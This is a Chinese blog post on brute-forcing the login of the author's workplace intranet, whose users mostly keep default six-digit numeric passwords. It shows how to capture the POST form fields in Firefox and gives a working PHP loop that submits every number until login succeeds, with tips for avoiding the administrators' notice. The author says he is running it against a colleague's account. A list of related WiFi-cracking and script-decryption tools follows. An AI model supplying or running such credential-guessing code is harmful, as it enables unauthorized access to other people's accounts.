有一种网站,没有验证码;有一种网站,你可以利用某种手段获取到登陆者的用户名(比如邮箱啦等等,用户名你是知道的),你所不知道的仅仅是登录密码,有没有什么方法可以破解呢?
我们单位有一个内网(虽是内网,但有时在家也可以登录),用户名可以搞到,密码原始是六位的数字(其实大多数人都没有修改过),而且牛叉的是,这个网站登录时,如果输入错误次数过多也不会让你输入验证码,这太好了,心中窃喜,可以用暴力破解法嘛。
暴力破解,要用到遍历,直到试出你要的用户名为止,这些都简单,关键是如何用技术去实现。其实这种技术,说白了就是网络机器人,网络机器人有很多种,有名字的比如蜘蛛、爬虫等等,大概就是依据对http协议的了解,去编写自动化的网络操作。注意,自动化这三个字很关键,因为传统的浏览器模式无法实现自动化。
编写这个暴力破解网站密码的网络机器人,要用到php,因为php简直就是为了网络而生的,有相当方便的函数供使用,很方便,而且php是脚本语言,用起来也容易。在这里,我是拿php当shell脚本用的,直接在windows的控制台里执行,没这么用过的哥们自己上网找找,这我就不过多解释了。
本次破解过程所用到的原材料有:php环境,firfox,一个名为LIB_http.php的php库(是某个大牛写的,我这里借用一下,会用到这个库里的http()函数,这个库的下载连接地址为:http://www.webbotsspidersscreenscrapers.com/DSP_download.php),好了,就这三个,下面开讲。
先说说破解的大致思路,正常情况下我们用浏览器,填写用户名和密码,然后点击提交按钮,信息就被发送到后端,如果用户名和密码错误,将返回登陆页面,反之则返回成功页面。
那么,我们要做的就是,模拟浏览器的这种行为,然后根据返回的结果判定密码是否正确。
第一步,为了完全100%的模拟浏览器,我们必须先要知晓点击“提交”按钮后,都发送了哪些数据,如果只发送密码和用户名,其他数据对不上,后台服务器就会产生一个异常,而且更可怕的是,这会引起管理员的注意,搞不好会封掉你的ip,那你就玩完了。
关键是怎么才能知道提交了哪些数据呢?用firfox吧,里面有一个很牛叉的功能。用firfox登录你想破解的网站,单击右键选择“查看元素”,点“控制台”,点“网络”下拉框,选中“记录请求和响应主体”。这样一来就可以利用firfox为我们抓包了。之前有人推荐firdebug,未免是大材小用了,其实firfox原本的东东就够了,而且很好。在登录页面上随便输入一个用户名和密码,点击“登录”,可以在控制台看到http请求,一般要找post型的。点击打开,在“已发送表单数据”可以看到都发送了那些数据,要记录下来,一些asp.net的网站,由于用到了一些验证控件,会出现不少东西,比如__VIEWSTATE之类的,甭管它,记下来,过会用。对了,有一点忘说了,用firfox这个工具,还可以知道提交的目标地址(比如有时候是一个servlet,或者是jsp,aspx都可能,要看好)和上连接(不知道上连接的请自行补脑)。
知道发什么数据了,就要开始编程序了,源代码如下:
<?php
include("php_lib/LIB_http.php");
error_reporting(E_ALL^E_NOTICE);//除去notice提示
$action="登陆页面提交的后台地址,查看方法上面已讲";
$method="POST";//注意,必须是大写,GET方法也一样
$ref="上连接地址,查看方法上面已讲";
$data_array['ctl00$MainContent$tbStuId']="";//要发送的数据,都写到一个数组里,数据的查看方法上面已讲。
$data_array['ctl00$MainContent$tbIdentityId']="";
$data_array['ctl00$MainContent$LoginUser$UserName']="用户名";
//$data_array['ctl00$MainContent$LoginUser$Password']=$strpass(密码);
$data_array['ctl00$MainContent$LoginUser$LoginButton']="登录";
$data_array['__VIEWSTATE']="/wEPDwUKMTM2OTQ5MzkyMA9kFgJmD2QWAgIDD2QWBgIDDw9kFgIeBXN0eWxlBRJtYXJnaW4tbGVmdDoxNjBweDsWBAIBDzwrAAUBAA8WAh4HVmlzaWJsZWhkZAIDDw9kFgIfAAUzZGlzcGxheTpibG9jazttYXJnaW4tbGVmdDoxMDBweDttYXJnaW4tcmlnaHQ6MTAwcHg7ZAIFDw8WBh4FV2lkdGgbAAAAAAAAZEABAAAAHgRfIVNCAoACHwFoZGQCBw8PFgIeBFRleHQF+AHljJfkuqzluILlrabnlJ/otYTliqnkuovliqHnrqHnkIbkuK3lv4PniYjmnYPmiYDmnIkmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDvljJfkuqzlt6XllYblpKflrabnoJTliLYmbmJzcDsmbmJzcDsmbmJzcDvCqTIwMTEtMjAxM2RkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSZjdGwwMCRNYWluQ29udGVudCRMb2dpblVzZXIkUmVtZW1iZXJNZcVB092mLxjWH8VqPqNfoiesnMTTfv/8XLUqN0IvHeWh";
$data_array['__EVENTVALIDATION']="/wEdAAg4OGQHZT9XqX7BisSv3xvacc3fpmfwSgCZgt7RGgsQTYT2MeBFtJvt+JB+if6UByL53d8HLcsMPPSWw23i74K4rVJzD9epthGmOWrcxXKP7u1vquycB/s6+IJJa4hgd+jsl1raoinWIrD1aNCfPQQ5CQtH8leGQTiMCnhMu4O3EZWz6MelE6yxI8DG7fS+/BYQQRNWIIZPR21FZQRefgAc";
$data_array['__EVENTTARGET']="";
$data_array['__EVENTARGUMENT']="";
for($pass=000000; $pass<999999;$pass++){
$strpass=strval($pass);
$data_array['ctl00$MainContent$LoginUser$Password']=$strpass;
$response = http($target=$action,$ref,$method,$data_array,EXCL_HEAD);
$str = $response['STATUS'];
echo $pass." ";
if($str['url']=="登录成功后的跳转页面"){
echo "\n\n\nthe result is:".$pass."\n";//输出密码
return;
}
//echo $str['url']."\n";
}
?>
上面的代码完全没问题,你要改动的,仅仅是$data_array数组的内容,这要依据firfox去查看。上面的数组$data_array内容是我自己的,你们破解的时候还是要用firfox自己去看,一定不能错,否走后台出异常,而且数据不能多,不能少,类型也必须对。
好吧,就到这里了,如果你网速快的话,1分钟试验300~400个密码没有问题,如果多用几台电脑就更快了,在我写这段文字的时候,我的电脑还在破解一个密码,要等到明天一早了,先睡了。对了,这都告诉你们了,可千万别干坏事啊。
分享到:
相关推荐
Python暴力破解wifi密码.py
今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。 方法一(通用脚本): #!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_ -*- e = raw_input(‘请输入要解密的字符串\n‘) elen = len(e...
自己做的WiFi密码,8位9位纯数字破解字典,试了三个都成功了,很好用
网站源代码是指构成网站的原始编程语言文本,包括HTML、CSS、JavaScript以及在此基础上编写的PHP代码。PHP标签表明这些源代码是用PHP语言编写的,这为开发者提供了更多的灵活性和可扩展性,因为PHP可以与各种数据库...
石器STW脚本破解工具 STW的脚本全部可破解获得代码
用于wincc全局脚本加密的解密,VBS
### WINCC 脚本源代码概览 #### 登录功能 在WINCC中,`PWRTLogin`函数用于实现用户登录。如源代码所示: ```vb PWRTLogin('1'); ``` 这里的`'1'`通常表示一个预定义的用户ID或权限级别,用于确定登录的用户身份。 ...
在IT行业中,源代码是构建网站的基础,它是由程序员用编程语言编写的指令集合,用于告诉计算机如何执行特定任务。这个资源"25个经典网站源代码"提供了一个宝贵的参考资料库,适合初学者和经验丰富的开发者参考,以...
wincc VBS脚本加密破解
文章内容深入浅出地讲述了保护网页源代码的重要性和实现方法,同时也提示了即使采用了这些手段,也并非完全无法破解,因此在设计网页时,应当以预防为主,结合服务器端和客户端多种技术手段,尽可能地保护自己的网站...
【PHP电子商务网站源代码详解】 在互联网技术日新月异的今天,PHP作为一种流行的服务器端脚本语言,常被用于构建高效、稳定的电子商务网站。PHP与MySQL的组合更是成为搭建电商平台的首选,因为它们提供了良好的性能...
RAR5.0密码暴力破解脚本 目前大部分工具对RAR5.0以上版本无能为力。可以用这个脚本来跑。
《PHP在线考试系统源代码详解》 在信息技术日益发展的今天,教育行业的数字化进程也在不断加快。其中,在线考试系统作为教育信息化的重要组成部分,为教学评估提供了便利。本篇将深入探讨一个基于PHP实现的在线考试...
【网上商城Dreamweaver网站源代码】是一个使用Adobe Dreamweaver开发的电子商务平台,它集成了多种功能,为用户提供了完整的网上购物体验。Dreamweaver是一款知名的网页设计和开发工具,以其直观的可视化编辑界面和...
在本项目中,“基于PHP的网上商城开发设计与实现源代码”是一个全面的教程,适合初学者学习PHP Web开发和电子商务应用。这个源代码提供了一个实际的网上购物平台的实现,帮助开发者理解如何构建类似的系统。以下是这...
【BR大逃杀游戏PHP源代码】是一款基于PHP编程语言开发的在线游戏,灵感来源于流行的“大逃杀”电影主题,这种类型的游戏通常涉及到玩家在封闭环境中互相竞争,最后存活下来的玩家成为胜者。该源代码公开后,为游戏...
【标题】:“餐厅美食网站源代码完整版” 这个标题表明我们正在讨论的是一个完整的网站源代码,特别设计用于展示餐厅美食。源代码是网站开发的基础,它包含了网站所有功能、设计和交互逻辑的编程语言。对于初学者...
这个工具会读取加密脚本,应用反向的加密算法,生成未加密的源代码。 4. 安全考虑:解密后,应当注意不要泄露敏感信息,遵循软件许可协议,合法使用解密后的脚本。 四、注意事项与安全问题 脚本解密涉及到版权和...
这些“60个经典网站源代码”集合是一个珍贵的学习资源,涵盖了各种类型的网站设计和开发技术。源代码是理解网站工作原理的关键,通过研究这些代码,开发者可以学习到不同的编程语言、框架、设计模式和最佳实践。以下...